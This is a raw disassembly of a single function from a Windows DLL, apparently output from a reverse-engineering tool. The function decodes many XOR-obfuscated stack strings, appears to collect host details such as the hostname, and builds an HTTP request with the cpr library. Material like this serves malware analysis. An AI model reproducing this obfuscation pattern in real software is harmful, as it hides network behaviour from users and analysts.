Function at 0x18006c970
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x630
mov rax, qword [0x18029d790]
xor rax, rsp
mov qword [rsp + 0x628], rax
mov r12, r8
mov qword [rsp + 0x140], r8
mov r13, rdx
mov qword [rsp + 0x150], rdx
mov r15, rcx
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x318], rcx
mov qword [rsp + 0x320], rdx
mov qword [rsp + 0x328], r8
call fcn.18006e100
test al, al
jne 0x18006c9f6
mov rcx, r15
call fcn.180011d00
nop
mov rcx, r13
call fcn.180011d00
nop
mov rcx, r12
call fcn.180011d00
jmp 0x18006e0d5
mov byte [rsp + 0x40], 0x29
mov al, 0x49
mov cl, 0x67
mov dl, 0x48
mov r8b, 0x44
mov r9b, 0x4c
mov r10b, reloc.WS2_32.dll_send
movzx r11d, al
mov bl, 9
mov dil, 0x52
mov sil, 0x54
mov r14b, 0x23
xor r12d, r12d
xor al, 0x29
mov byte [rsp + 0x41], al
xor cl, 0x29
mov byte [rsp + 0x42], cl
xor dl, 0x29
mov byte [rsp + 0x43], dl
xor r8b, 0x29
mov byte [rsp + 0x44], r8b
xor r9b, 0x29
mov byte [rsp + 0x45], r9b
xor r10b, 0x29
mov byte [rsp + 0x46], r10b
xor r11b, 0x29
mov byte [rsp + 0x47], r11b
xor bl, 0x29
mov byte [rsp + 0x48], bl
xor dil, 0x29
mov byte [rsp + 0x49], dil
xor sil, 0x29
mov byte [rsp + 0x4a], sil
xor r14b, 0x29
mov byte [rsp + 0x4b], r14b
mov byte [rsp + 0x4c], r12b
lea rax, [rsp + 0x41]
mov qword [rsp + 0x30], rax
mov r8, r15
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x380]
call fcn.180054580
mov r12, qword [rsp + 0x140]
movdqa xmm0, xmmword [0x180271f50]
movdqu xmmword [rsp + 0xe8], xmm0
movdqa xmm1, xmmword [0x180271a80]
movdqu xmmword [rsp + 0xf8], xmm1
mov word [rsp + 0x108], 0x7913
xor eax, eax
mov byte [rsp + 0x10a], al
xor r14d, r14d
mov ecx, r14d
nop dword [rax]
movzx eax, byte [rsp + 0xe8]
xor byte [rsp + rcx + 0xe9], al
inc rcx
cmp rcx, 0x21
jb 0x18006cae0
mov byte [rsp + 0x10a], r14b
lea rax, [rsp + 0xe9]
mov qword [rsp + 0x38], rax
mov r9, r12
mov r8, r13
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x360]
call fcn.180070c60
nop
mov byte [rsp + 0x330], 0
xor edx, edx
lea rcx, [rsp + 0x338]
call fcn.180011860
nop
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [0x180271ab0]
movdqu xmmword [rsp + 0xb8], xmm0
mov dword [rsp + 0xc8], 0x13022347
mov dword [rsp + 0xcc], 0x140b0e06
xor eax, eax
mov byte [rsp + 0xd0], al
mov rcx, r14
nop
movzx eax, byte [rsp + 0xb8]
xor byte [rsp + rcx + 0xb9], al
inc rcx
cmp rcx, 0x17
jb 0x18006cb80
mov byte [rsp + 0xd0], 0
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x80]
call fcn.180070d30
mov rdi, rax
xor edx, edx
lea rcx, [rsp + 0x330]
call fcn.18006f3d0
mov rbx, rax
mov byte [rsp + 0x38], reloc.WS2_32.dll_listen
mov cl, 0x63
mov al, 0x6c
mov dl, 0x60
mov r8b, 0x68
xor r9d, r9d
xor cl, 0xd
mov byte [rsp + 0x39], cl
xor al, 0xd
mov byte [rsp + 0x3a], al
xor dl, 0xd
mov byte [rsp + 0x3b], dl
xor r8b, 0xd
mov byte [rsp + 0x3c], r8b
mov byte [rsp + 0x3d], r9b
lea rdx, [rsp + 0x39]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
mov rcx, rbx
call fcn.180018190
nop
mov rdx, rdi
mov rcx, rax
call fcn.18000f2a0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x80]
call fcn.180014360
mov rdi, rax
xor edx, edx
lea rcx, [rsp + 0x330]
call fcn.18006f3d0
mov rbx, rax
mov byte [rsp + 0x30], 0x28
mov cl, 0x5e
mov al, 0x49
mov dl, 0x44
mov r8b, 0x5d
mov r9b, 0x4d
xor r10d, r10d
xor cl, 0x28
mov byte [rsp + 0x31], cl
xor al, 0x28
mov byte [rsp + 0x32], al
xor dl, 0x28
mov byte [rsp + 0x33], dl
xor r8b, 0x28
mov byte [rsp + 0x34], r8b
xor r9b, 0x28
mov byte [rsp + 0x35], r9b
mov byte [rsp + 0x36], r10b
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
mov rcx, rbx
call fcn.180018190
nop
mov rdx, rdi
mov rcx, rax
call fcn.18000f2a0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x38], 1
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x80]
call fcn.1800144c0
mov rbx, rax
xor edx, edx
lea rcx, [rsp + 0x330]
call fcn.18006f3d0
mov rdi, rax
mov byte [rsp + 0x30], reloc.WS2_32.dll_recv
mov cl, 0x79
mov dl, 0x7e
mov r8b, 0x7c
movzx eax, cl
movzx r9d, dl
mov r10b, 0x75
xor r11d, r11d
xor cl, 0x10
mov byte [rsp + 0x31], cl
xor dl, 0x10
mov byte [rsp + 0x32], dl
xor r8b, 0x10
mov byte [rsp + 0x33], r8b
xor al, 0x10
mov byte [rsp + 0x34], al
xor r9b, 0x10
mov byte [rsp + 0x35], r9b
xor r10b, 0x10
mov byte [rsp + 0x36], r10b
mov byte [rsp + 0x37], r11b
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
mov rcx, rdi
call fcn.180018190
nop
mov rdx, rbx
mov rcx, rax
call fcn.18000f2a0
cmp qword [r13 + 0x10], 0
je 0x18006cfc8
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [0x180271b20]
movdqu xmmword [rsp + 0x118], xmm0
xor eax, eax
mov byte [rsp + 0x128], al
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + 0x118]
xor byte [rsp + rcx + 0x119], al
inc rcx
cmp rcx, 0xf
jb 0x18006cdc0
mov byte [rsp + 0x128], 0
lea rax, [rsp + 0x119]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x80]
call fcn.180070d30
mov rdi, rax
mov edx, 1
lea rcx, [rsp + 0x330]
call fcn.18006f3d0
mov rbx, rax
mov byte [rsp + 0x38], 0x4c
mov al, 0x22
mov cl, 0x2d
mov dl, 0x21
mov r8b, 0x29
xor r9d, r9d
xor al, 0x4c
mov byte [rsp + 0x39], al
xor cl, 0x4c
mov byte [rsp + 0x3a], cl
xor dl, 0x4c
mov byte [rsp + 0x3b], dl
xor r8b, 0x4c
mov byte [rsp + 0x3c], r8b
mov byte [rsp + 0x3d], r9b
lea rdx, [rsp + 0x39]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
mov rcx, rbx
call fcn.180018190
nop
mov rdx, rdi
mov rcx, rax
call fcn.18000f2a0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x80]
call fcn.180014360
mov rdi, rax
mov edx, 1
lea rcx, [rsp + 0x330]
call fcn.18006f3d0
mov rbx, rax
mov byte [rsp + 0x30], gethostname
mov cl, 0x43
mov al, 0x54
mov dl, 0x59
mov r8b, 0x40
mov r9b, 0x50
xor r10d, r10d
xor cl, 0x35
mov byte [rsp + 0x31], cl
xor al, 0x35
mov byte [rsp + 0x32], al
xor dl, 0x35
mov byte [rsp + 0x33], dl
xor r8b, 0x35
mov byte [rsp + 0x34], r8b
xor r9b, 0x35
mov byte [rsp + 0x35], r9b
mov byte [rsp + 0x36], r10b
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
mov rcx, rbx
call fcn.180018190
nop
mov rdx, rdi
mov rcx, rax
call fcn.18000f2a0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x38], 1
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x80]
call fcn.1800144c0
mov rbx, rax
mov edx, 1
lea rcx, [rsp + 0x330]
call fcn.18006f3d0
mov rdi, rax
mov byte [rsp + 0x30], 9
mov cl, 0x60
mov dl, 0x67
mov r8b, 0x65
movzx eax, cl
movzx r9d, dl
mov r10b, 0x6c
xor r11d, r11d
xor cl, 9
mov byte [rsp + 0x31], cl
xor dl, 9
mov byte [rsp + 0x32], dl
xor r8b, 9
mov byte [rsp + 0x33], r8b
xor al, 9
mov byte [rsp + 0x34], al
xor r9b, 9
mov byte [rsp + 0x35], r9b
xor r10b, 9
mov byte [rsp + 0x36], r10b
mov byte [rsp + 0x37], r11b
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
mov rcx, rdi
call fcn.180018190
nop
mov rdx, rbx
mov rcx, rax
call fcn.18000f2a0
nop
mov byte [rsp + 0x350], 0
xor edx, edx
lea rcx, [rsp + 0x358]
call fcn.180011860
nop
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x30], 0x2f
mov al, 0x61
mov cl, 0x4a
mov dl, 0x57
mov r8b, 0x5a
mov r9b, 0x5c
xor r10d, r10d
xor al, 0x2f
mov byte [rsp + 0x31], al
xor cl, 0x2f
mov byte [rsp + 0x32], cl
xor dl, 0x2f
mov byte [rsp + 0x33], dl
xor r8b, 0x2f
mov byte [rsp + 0x34], r8b
xor r9b, 0x2f
mov byte [rsp + 0x35], r9b
mov byte [rsp + 0x36], r10b
lea rax, [rsp + 0x31]
mov qword [rsp + 0x110], rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x80]
call fcn.180070d30
mov rdi, rax
xor edx, edx
lea rcx, [rsp + 0x350]
call fcn.18006f3d0
mov rbx, rax
mov byte [rsp + 0x38], 0x21
mov cl, 0x55
mov al, 0x48
movzx edx, cl
mov r8b, 0x4d
mov r9b, 0x44
xor r10d, r10d
xor cl, 0x21
mov byte [rsp + 0x39], cl
xor al, 0x21
mov byte [rsp + 0x3a], al
xor dl, 0x21
mov byte [rsp + 0x3b], dl
xor r8b, 0x21
mov byte [rsp + 0x3c], r8b
xor r9b, 0x21
mov byte [rsp + 0x3d], r9b
mov byte [rsp + 0x3e], r10b
lea rdx, [rsp + 0x39]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
mov rcx, rbx
call fcn.180018190
nop
mov rdx, rdi
mov rcx, rax
call fcn.18000f2a0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x38], 0x58b9ff
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x80]
call fcn.180014470
mov rdi, rax
xor edx, edx
lea rcx, [rsp + 0x350]
call fcn.18006f3d0
mov rbx, rax
mov byte [rsp + 0x30], 0x1f
mov cl, 0x7c
mov dl, reloc.WS2_32.dll_WSASetLastError
mov r8b, reloc.WS2_32.dll_WSAStartup
movzx eax, dl
mov r9b, WSAGetLastError
xor r10d, r10d
xor cl, 0x1f
mov byte [rsp + 0x31], cl
xor dl, 0x1f
mov byte [rsp + 0x32], dl
xor r8b, 0x1f
mov byte [rsp + 0x33], r8b
xor al, 0x1f
mov byte [rsp + 0x34], al
xor r9b, 0x1f
mov byte [rsp + 0x35], r9b
mov byte [rsp + 0x36], r10b
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
mov rcx, rbx
call fcn.180018190
nop
mov rdx, rdi
mov rcx, rax
call fcn.18000f2a0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x80]
call fcn.180018260
mov rdi, rax
xor edx, edx
lea rcx, [rsp + 0x350]
call fcn.18006f3d0
mov rbx, rax
mov byte [rsp + 0x30], 0x2e
mov cl, 0x48
mov al, 0x47
mov dl, 0x4b
mov r8b, 0x42
mov r9b, 0x4a
mov r10b, 0x5d
xor r11d, r11d
xor cl, 0x2e
mov byte [rsp + 0x31], cl
xor al, 0x2e
mov byte [rsp + 0x32], al
xor dl, 0x2e
mov byte [rsp + 0x33], dl
xor r8b, 0x2e
mov byte [rsp + 0x34], r8b
xor r9b, 0x2e
mov byte [rsp + 0x35], r9b
xor r10b, 0x2e
mov byte [rsp + 0x36], r10b
mov byte [rsp + 0x37], r11b
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
mov rcx, rbx
call fcn.180018190
nop
mov rdx, rdi
mov rcx, rax
call fcn.18000f2a0
nop
mov byte [rsp + 0x340], 0
xor edx, edx
lea rcx, [rsp + 0x348]
call fcn.180011860
nop
lea rax, [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x70], 0
xor edx, edx
lea rcx, [rsp + 0x78]
call fcn.180011860
nop
mov byte [rsp + 0x50], 0x33
mov al, 0x50
mov cl, 0x5c
mov dl, 0x5d
mov r8b, 0x47
mov r9b, 0x56
movzx r10d, dl
movzx r11d, r8b
xor ebx, ebx
xor al, 0x33
mov byte [rsp + 0x51], al
xor cl, 0x33
mov byte [rsp + 0x52], cl
xor dl, 0x33
mov byte [rsp + 0x53], dl
xor r8b, 0x33
mov byte [rsp + 0x54], r8b
xor r9b, 0x33
mov byte [rsp + 0x55], r9b
xor r10b, 0x33
mov byte [rsp + 0x56], r10b
xor r11b, 0x33
mov byte [rsp + 0x57], r11b
mov byte [rsp + 0x58], bl
lea rdx, [rsp + 0x51]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
lea rcx, [rsp + 0x340]
call fcn.180018190
nop
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.18000f2a0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [0x180272700]
movdqu xmmword [rsp + 0xb8], xmm0
mov dword [rsp + 0xc8], 0x4c4b4c
mov rcx, r14
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rsp + 0xb8]
xor byte [rsp + rcx + 0xb9], al
inc rcx
cmp rcx, 0x12
jb 0x18006d310
mov byte [rsp + 0xcb], 0
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x110], rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x80]
call fcn.180070d30
mov rsi, rax
mov byte [rsp + 0x50], 0x48
mov cl, 0x3d
mov dl, 0x3b
mov r8b, 0x2d
mov r9b, 0x3a
mov r10b, 0x26
mov r11b, 0x29
mov bl, 0x25
movzx edi, r8b
xor eax, eax
xor cl, 0x48
mov byte [rsp + 0x51], cl
xor dl, 0x48
mov byte [rsp + 0x52], dl
xor r8b, 0x48
mov byte [rsp + 0x53], r8b
xor r9b, 0x48
mov byte [rsp + 0x54], r9b
xor r10b, 0x48
mov byte [rsp + 0x55], r10b
xor r11b, 0x48
mov byte [rsp + 0x56], r11b
xor bl, 0x48
mov byte [rsp + 0x57], bl
xor dil, 0x48
mov byte [rsp + 0x58], dil
mov byte [rsp + 0x59], al
lea rdx, [rsp + 0x51]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
lea rcx, [rsp + 0x340]
call fcn.180018190
nop
mov rdx, rsi
mov rcx, rax
call fcn.18000f2a0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [0x180272840]
movdqa xmmword [rsp + 0x3a0], xmm0
movdqa xmm1, xmmword [0x180271fa0]
movdqa xmmword [rsp + 0x3b0], xmm1
movdqa xmm0, xmmword [str.g_f_1____f]
movdqa xmmword [rsp + 0x3c0], xmm0
movdqa xmm1, xmmword [0x180271ad0]
movdqa xmmword [rsp + 0x3d0], xmm1
movdqa xmm0, xmmword [0x180271a00]
movdqa xmmword [rsp + 0x3e0], xmm0
movdqa xmm1, xmmword [0x1802728a0]
movdqa xmmword [rsp + 0x3f0], xmm1
movdqa xmm0, xmmword [0x180271dc0]
movdqa xmmword [rsp + 0x400], xmm0
movdqa xmm1, xmmword [0x180272970]
movdqa xmmword [rsp + 0x410], xmm1
movdqa xmm0, xmmword [0x180271e00]
movdqa xmmword [rsp + 0x420], xmm0
movdqa xmm1, xmmword [0x180272a90]
movdqa xmmword [rsp + 0x430], xmm1
movdqa xmm0, xmmword [0x180271e20]
movdqa xmmword [rsp + 0x440], xmm0
xor eax, eax
mov byte [rsp + 0x450], al
mov rcx, r14
nop dword [rax]
movzx eax, byte [rsp + 0x3a0]
xor byte [rsp + rcx + 0x3a1], al
inc rcx
cmp rcx, 0xaf
jb 0x18006d4c0
mov byte [rsp + 0x450], 0
lea rax, [rsp + 0x3a1]
mov qword [rsp + 0x110], rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x80]
call fcn.180070d30
mov r15, rax
mov byte [rsp + 0x50], 0x62
mov cl, 3
mov dl, reloc.WS2_32.dll_sendto
movzx r8d, cl
mov r9b, socket
movzx r10d, cl
mov r11b, reloc.WS2_32.dll_recv
mov bl, 0x3d
mov dil, reloc.WS2_32.dll_socket
movzx eax, r11b
mov sil, recv
xor r12d, r12d
xor cl, 0x62
mov byte [rsp + 0x51], cl
xor dl, 0x62
mov byte [rsp + 0x52], dl
xor r8b, 0x62
mov byte [rsp + 0x53], r8b
xor r9b, 0x62
mov byte [rsp + 0x54], r9b
xor r10b, 0x62
mov byte [rsp + 0x55], r10b
xor r11b, 0x62
mov byte [rsp + 0x56], r11b
xor bl, 0x62
mov byte [rsp + 0x57], bl
xor dil, 0x62
mov byte [rsp + 0x58], dil
xor al, 0x62
mov byte [rsp + 0x59], al
xor sil, 0x62
mov byte [rsp + 0x5a], sil
mov byte [rsp + 0x5b], r12b
lea rdx, [rsp + 0x51]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
lea rcx, [rsp + 0x340]
call fcn.180018190
nop
mov rdx, r15
mov rcx, rax
call fcn.18000f2a0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x80]
call fcn.180018260
mov rbx, rax
mov byte [rsp + 0x30], 0x1a
mov cl, 0x7f
mov dl, 0x77
mov r8b, 0x78
movzx r9d, cl
mov r10b, 0x7e
mov r11b, 0x69
xor eax, eax
xor cl, 0x1a
mov byte [rsp + 0x31], cl
xor dl, 0x1a
mov byte [rsp + 0x32], dl
xor r8b, 0x1a
mov byte [rsp + 0x33], r8b
xor r9b, 0x1a
mov byte [rsp + 0x34], r9b
xor r10b, 0x1a
mov byte [rsp + 0x35], r10b
xor r11b, 0x1a
mov byte [rsp + 0x36], r11b
mov byte [rsp + 0x37], al
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0xe8]
call fcn.18000faf0
mov rdx, rax
lea rcx, [rsp + 0x340]
call fcn.180018190
nop
mov rdx, rbx
mov rcx, rax
call fcn.18000f2a0
xor edx, edx
mov r8d, 0x138
cmp qword [r13 + 0x10], rdx
jne 0x18006db3d
lea rcx, [rsp + 0x3a0]
call fcn.1801ac980
mov dword [rsp + 0x28], r14d
mov byte [rsp + 0x20], r12b
mov r9b, 0x20
lea r8d, [r12 - 1]
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0x340]
call fcn.18000f000
nop
lea rax, [rsp + 0x288]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x2a8]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x260]
call fcn.18006e520
lea rax, vtable.cpr::Body.0
mov qword [rsp + 0x260], rax
mov byte [rsp + 0x30], reloc.WS2_32.dll_listen
mov al, 0x65
mov cl, 0x79
movzx edx, cl
mov r8b, 0x7d
xor r9d, r9d
xor al, 0xd
mov byte [rsp + 0x31], al
xor cl, 0xd
mov byte [rsp + 0x32], cl
xor dl, 0xd
mov byte [rsp + 0x33], dl
xor r8b, 0xd
mov byte [rsp + 0x34], r8b
mov byte [rsp + 0x35], r9b
mov word [rsp + 0x38], 0x58
mov byte [rsp + 0x39], r9b
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x2b0]
call fcn.18000faf0
nop
lea rdx, [rsp + 0x39]
lea rcx, [rsp + 0x2d0]
call fcn.18000faf0
nop
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0xe0], rax
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x130]
call fcn.18017ef60
mov r15, rax
mov byte [rsp + 0x60], WSASetLastError
mov cl, gethostname
mov dl, 0x1e
mov r8b, 8
mov r9b, 0x1f
mov r10b, 0x40
mov r11b, 0x2c
mov bl, 0xa
movzx edi, r8b
mov al, 3
mov sil, 0x19
xor cl, 0x6d
mov byte [rsp + 0x61], cl
xor dl, 0x6d
mov byte [rsp + 0x62], dl
xor r8b, 0x6d
mov byte [rsp + 0x63], r8b
xor r9b, 0x6d
mov byte [rsp + 0x64], r9b
xor r10b, 0x6d
mov byte [rsp + 0x65], r10b
xor r11b, 0x6d
mov byte [rsp + 0x66], r11b
xor bl, 0x6d
mov byte [rsp + 0x67], bl
xor dil, 0x6d
mov byte [rsp + 0x68], dil
xor al, 0x6d
mov byte [rsp + 0x69], al
xor sil, 0x6d
mov byte [rsp + 0x6a], sil
mov byte [rsp + 0x6b], r12b
movdqa xmm0, xmmword [0x180272760]
movdqu xmmword [rsp + 0x118], xmm0
xor eax, eax
mov byte [rsp + 0x128], al
mov rcx, r14
mov r12, qword [rsp + 0x140]
movzx eax, byte [rsp + 0x118]
xor byte [rsp + rcx + 0x119], al
inc rcx
cmp rcx, 0xf
jb 0x18006d811
mov byte [rsp + 0x128], 0
lea rdx, [rsp + 0x61]
lea rcx, [rsp + 0x160]
call fcn.18000faf0
nop
lea rdx, [rsp + 0x119]
lea rcx, [rsp + 0x180]
call fcn.18000faf0
nop
mov cl, 0x4f
mov dword [rsp + 0x40], 0x21200c4f
mov dword [rsp + 0x44], 0x3b212a3b
mov dword [rsp + 0x48], 0x3f361b62
mov word [rsp + 0x4c], 0x2a
mov rax, r14
nop
xor byte [rsp + rax + 0x41], cl
inc rax
cmp rax, 0xc
jae 0x18006d894
movzx ecx, byte [rsp + 0x40]
jmp 0x18006d880
mov byte [rsp + 0x4d], 0
movdqa xmm0, xmmword [0x180271b50]
movdqu xmmword [rsp + 0xa0], xmm0
mov word [rsp + 0xb0], 0x18
mov rcx, r14
nop word [rax + rax]
movzx eax, byte [rsp + 0xa0]
xor byte [rsp + rcx + 0xa1], al
inc rcx
cmp rcx, 0x10
jb 0x18006d8c0
mov byte [rsp + 0xb1], 0
lea rdx, [rsp + 0x41]
lea rcx, [rsp + 0x1a0]
call fcn.18000faf0
nop
lea rdx, [rsp + 0xa1]
lea rcx, [rsp + 0x1c0]
call fcn.18000faf0
nop
lea rax, [rsp + 0x160]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x80]
call fcn.18006e650
mov rbx, rax
movdqa xmm0, xmmword [0x1802728d0]
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmm1, xmmword [0x1802728f0]
movdqa xmmword [rsp + 0x1f0], xmm1
movdqa xmm0, xmmword [0x180271f10]
movdqa xmmword [rsp + 0x200], xmm0
movdqa xmm1, xmmword [0x180272810]
movdqa xmmword [rsp + 0x210], xmm1
movdqa xmm0, xmmword [0x180271f80]
movdqa xmmword [rsp + 0x220], xmm0
movdqa xmm1, xmmword [0x180272490]
movdqa xmmword [rsp + 0x230], xmm1
movdqa xmm0, xmmword [0x180272630]
movdqa xmmword [rsp + 0x240], xmm0
mov dword [rsp + 0x250], 0x6e545648
mov dword [rsp + 0x254], 0x534c365a
mov word [rsp + 0x258], 0x6532
xor eax, eax
mov byte [rsp + 0x25a], al
nop dword [rax + rax]
movzx eax, byte [rsp + 0x1e0]
xor byte [rsp + r14 + 0x1e1], al
inc r14
cmp r14, 0x79
jb 0x18006d9e0
mov byte [rsp + 0x25a], 0
lea rdx, [rsp + 0x1e1]
lea rcx, [rsp + 0xb8]
call fcn.18000faf0
nop
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xe8]
call fcn.18006e7a0
lea rax, vtable.cpr::Url.0
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x20], rax
mov r9, r15
mov r8, rbx
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x3a0]
call fcn.180070df0
nop
lea rcx, [rsp + 0xf0]
call fcn.180011d00
nop
lea r9, [fcn.18000fae0]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rsp + 0xb8]
call fcn.1801aa1f8
nop
lea rcx, [rsp + 0x80]
call fcn.18006a870
nop
lea r9, [fcn.18006c8b0]
mov edx, 0x40
lea r8d, [rdx - 0x3e]
lea rcx, [rsp + 0x160]
call fcn.1801aa1f8
nop
lea rcx, [rsp + 0x130]
call fcn.18006a870
nop
lea r9, [fcn.18006c8b0]
mov edx, 0x40
lea r8d, [rdx - 0x3f]
lea rcx, [rsp + 0x2b0]
call fcn.1801aa1f8
nop
lea rcx, [rsp + 0x268]
call fcn.180011d00
nop
lea r9, [fcn.18000fae0]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rsp + 0x288]
call fcn.1801aa1f8
nop
lea rcx, [rsp + 0x3a0]
call fcn.18006a700
jmp 0x18006e03e
lea rcx, [rsp + 0x4e0]
call fcn.1801ac980
mov dword [rsp + 0x28], r14d
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, 0xffffffff
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x340]
call fcn.18000f000
nop
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x108]
mov qword [rsp + 0x138], rax
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x2b0]
call fcn.18006a640
mov r12, rax
mov byte [rsp + 0x30], 0x2a
mov cl, 0x42
mov dl, 0x5e
movzx r8d, dl
mov r9b, 0x5a
xor eax, eax
xor cl, 0x2a
mov byte [rsp + 0x31], cl
xor dl, 0x2a
mov byte [rsp + 0x32], dl
xor r8b, 0x2a
mov byte [rsp + 0x33], r8b
xor r9b, 0x2a
mov byte [rsp + 0x34], r9b
mov byte [rsp + 0x35], al
lea rax, [rsp + 0x31]
mov qword [rsp + 0x148], rax
mov word [rsp + 0x38], 0x7a
mov byte [rsp + 0x39], 0
lea rax, [rsp + 0x39]
mov qword [rsp + 0x110], rax
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x1e0]
call fcn.180070970
nop
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x220]
mov qword [rsp + 0x88], rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x118]
call fcn.18017ef60
mov r15, rax
mov byte [rsp + 0x40], 0x27
mov cl, WSAStartup
mov dl, 0x54
mov r8b, 0x42
mov r9b, 0x55
mov r10b, 0xa
mov r11b, 0x66
mov bl, 0x40
movzx edi, r8b
mov al, 0x49
mov sil, 0x53
xor r13d, r13d
xor cl, 0x27
mov byte [rsp + 0x41], cl
xor dl, 0x27
mov byte [rsp + 0x42], dl
xor r8b, 0x27
mov byte [rsp + 0x43], r8b
xor r9b, 0x27
mov byte [rsp + 0x44], r9b
xor r10b, 0x27
mov byte [rsp + 0x45], r10b
xor r11b, 0x27
mov byte [rsp + 0x46], r11b
xor bl, 0x27
mov byte [rsp + 0x47], bl
xor dil, 0x27
mov byte [rsp + 0x48], dil
xor al, 0x27
mov byte [rsp + 0x49], al
xor sil, 0x27
mov byte [rsp + 0x4a], sil
mov byte [rsp + 0x4b], r13b
lea rax, [rsp + 0x41]
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x180271cf0]
movdqu xmmword [rsp + 0xa0], xmm0
xor eax, eax
mov byte [rsp + 0xb0], al
mov rcx, r14
mov r13, qword [rsp + 0x150]
nop word [rax + rax]
movzx eax, byte [rsp + 0xa0]
xor byte [rsp + rcx + 0xa1], al
inc rcx
cmp rcx, 0xf
jb 0x18006dd10
mov byte [rsp + 0xb0], 0
lea rax, [rsp + 0xa1]
mov qword [rsp + 0x158], rax
lea r8, [rsp + 0x158]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x3a0]
call fcn.180070970
nop
mov cl, 6
mov dword [rsp + 0x70], 0x68694506
mov dword [rsp + 0x74], 0x72686372
mov dword [rsp + 0x78], 0x767f522b
mov word [rsp + 0x7c], 0x63
mov rax, r14
nop
xor byte [rsp + rax + 0x71], cl
inc rax
cmp rax, 0xc
jae 0x18006dd94
movzx ecx, byte [rsp + 0x70]
jmp 0x18006dd80
mov byte [rsp + 0x7d], 0
lea rax, [rsp + 0x71]
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [0x180271f70]
